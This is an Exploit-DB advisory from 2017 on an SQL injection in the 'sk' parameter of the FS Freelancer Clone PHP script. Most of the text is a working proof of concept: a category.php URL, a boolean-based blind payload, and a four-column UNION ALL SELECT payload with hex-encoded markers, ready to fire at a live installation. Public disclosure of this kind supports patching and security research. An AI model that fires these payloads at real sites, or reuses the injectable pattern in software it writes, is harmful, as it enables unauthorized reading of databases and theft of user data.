FS Freelancer Clone - 'sk' Parameter SQL Injection

EDB-ID: 43040
Author: 8bitsec
Published: 2017-10-23
CVE: N/A
Type: Webapps
Platform: PHP
Vulnerable App: N/A

 # Date: 2017-10-23 
# Exploit Author: 8bitsec
# Vendor Homepage: https://fortunescripts.com/
# Software Link: https://fortunescripts.com/product/freelancer-clone/
# Version: 23 October 17
# Tested on: [Kali Linux 2.0 | Mac OS 10.12.6]
# Email: contact@8bitsec.io
# Contact: https://twitter.com/_8bitsec

Release Date:
=============
2017-10-23

Product & Service Introduction:
===============================
Launching within minutes the best ever reverse auction website available online is no more a distant dream!

Technical Details & Description:
================================

SQL injection on [sk] parameter.

Proof of Concept (PoC):
=======================

SQLi:

https://localhost/[path]/category.php?sk=2 AND 5895=5895

Parameter: sk (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: sk=2 AND 5895=5895

Type: UNION query
Title: Generic UNION query (NULL) - 4 columns
Payload: sk=-9224 UNION ALL SELECT NULL,NULL,CONCAT(0x717a627071,0x6a5954706679724662715071764b6f6b6b5448677770526873556c726b747079556b5341516d7559,0x716a627a71),NULL-- Pddp
==================
8bitsec - [https://twitter.com/_8bitsec]

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